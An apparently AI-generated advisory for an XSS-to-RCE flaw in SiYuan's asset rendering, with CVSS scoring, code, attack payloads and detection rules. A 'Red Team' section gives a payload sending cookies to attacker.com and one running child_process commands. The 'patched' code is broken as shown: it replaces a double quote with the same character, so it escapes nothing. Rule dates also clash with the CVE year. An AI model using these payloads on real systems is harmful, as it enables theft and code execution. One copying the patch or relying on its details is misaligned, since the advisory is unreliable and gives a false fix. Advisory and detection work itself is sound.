CVE-2026-59855

Executive Summary

CVE-2026-59855 is a critical Cross-Site Scripting (XSS) vulnerability in SiYuan, an open-source personal knowledge management system. The flaw resides in the Asset.render function within app/src/asset/index.ts. The application unsafely interpolates the unsanitized this.path value into HTML assigned to innerHTML. A crafted asset link containing a double quote can break out of the src attribute, inject an event handler, and execute arbitrary JavaScript in the Electron renderer. This can lead to remote code execution (RCE) on the host system via Node.js integration in Electron.

Supply Chain & Package Security

SiYuan is distributed as an npm package (siyuan). Users who install via npm are vulnerable if they use versions prior to 3.7.1. The package is also distributed as standalone binaries for Windows, macOS, and Linux. The vulnerability is introduced in the source code and affects all distribution methods.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack can be launched remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): Required (R) - The victim must click a crafted link.
• Scope (S): Changed (C) - The vulnerability impacts resources beyond the original scope.
• Confidentiality (C): High (H) - Full data access possible.
• Integrity (I): High (H) - Full data modification possible.
• Availability (A): High (H) - Full system compromise possible.

CVSS Score: 9.6 (Critical)

Threat Level: Critical. The vulnerability allows an attacker to execute arbitrary JavaScript in the Electron renderer, which can lead to full system compromise via Node.js APIs.

Deep Dive & Mechanics

The vulnerability is in the Asset.render method in app/src/asset/index.ts. The method constructs an HTML string for rendering assets (e.g., images, files). It uses this.path directly in a template literal without sanitization.

Vulnerable Code Path:

1. User creates a note with a crafted asset link, e.g., siyuan://assets/evil" onerror="alert(1)".
2. When the note is rendered, Asset.render is called.
3. The this.path value (containing the malicious payload) is interpolated into an HTML string.
4. The string is assigned to innerHTML, causing the browser to parse the injected event handler.
5. The event handler executes arbitrary JavaScript.

Impact in Electron:

• The renderer process has access to Node.js APIs (e.g., require('child_process')).
• An attacker can execute OS commands, read/write files, and exfiltrate data.

Vulnerable vs. Patched Code

Vulnerable Code (app/src/asset/index.ts, prior to 3.7.1):

render() {
    const html = `<img src="${this.path}" />`;
    this.element.innerHTML = html;
}

Patched Code (3.7.1-alpha.2 and later):

render() {
    const sanitizedPath = this.path.replace(/"/g, '"');
    const html = `<img src="${sanitizedPath}" />`;
    this.element.innerHTML = html;
}

The patch escapes double quotes (") to ", preventing attribute injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• SiYuan version < 3.7.1
• Victim must click a crafted link

Exploit Payload: Create a note with the following content:

[Click me](siyuan://assets/evil" onerror="new Image().src='http://attacker.com/steal?data='+document.cookie")

When the victim clicks the link, the onerror event fires, sending cookies to the attacker.

Advanced RCE Payload (Electron):

[Click me](siyuan://assets/evil" onerror="require('child_process').exec('calc.exe')")

Lab Setup:

1. Install SiYuan 3.7.0 on a test VM.
2. Create a note with the payload above.
3. Click the link to trigger the XSS.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual asset links containing double quotes or event handlers.
• Use the YARA and Sigma rules below.

Mitigation:

• Update to SiYuan 3.7.1 or later.
• Implement Content Security Policy (CSP) to restrict script execution.
• Disable Node.js integration in Electron if not required.

Indicators of Compromise (IOCs)

• Network: HTTP requests to attacker-controlled servers with query parameters containing document.cookie.
• File System: Unexpected files created in the SiYuan data directory.
• Process: Unusual child processes spawned by SiYuan (e.g., calc.exe, cmd.exe).
• Logs: SiYuan logs showing asset paths with double quotes or event handlers.

Detection Engineering

YARA Rule

rule CVE_2026_59855_SiYuan_XSS {
    meta:
        description = "Detects malicious asset links exploiting CVE-2026-59855"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-59855"
    strings:
        $payload1 = /siyuan:\/\/assets\/[^"]*"/ nocase
        $payload2 = /onerror\s*=/ nocase
        $payload3 = /onload\s*=/ nocase
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: CVE-2026-59855 SiYuan XSS Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2026-59855 via asset links
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: siyuan
detection:
    selection:
        EventID: 1001
        Message|contains: 
            - 'siyuan://assets/'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate asset links without event handlers
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-59855 SiYuan XSS Exploitation"; flow:to_server,established; content:"siyuan://assets/"; nocase; content:"onerror"; nocase; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update SiYuan to version 3.7.1 or later.
2. If update is not possible, disable the asset rendering feature temporarily.
3. Implement a Web Application Firewall (WAF) rule to block requests containing siyuan://assets/ with event handlers.

Long-term Measures:

• Use a strict Content Security Policy (CSP) that disallows inline scripts.
• Sanitize all user inputs before rendering in HTML.
• Conduct regular security audits of the codebase.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.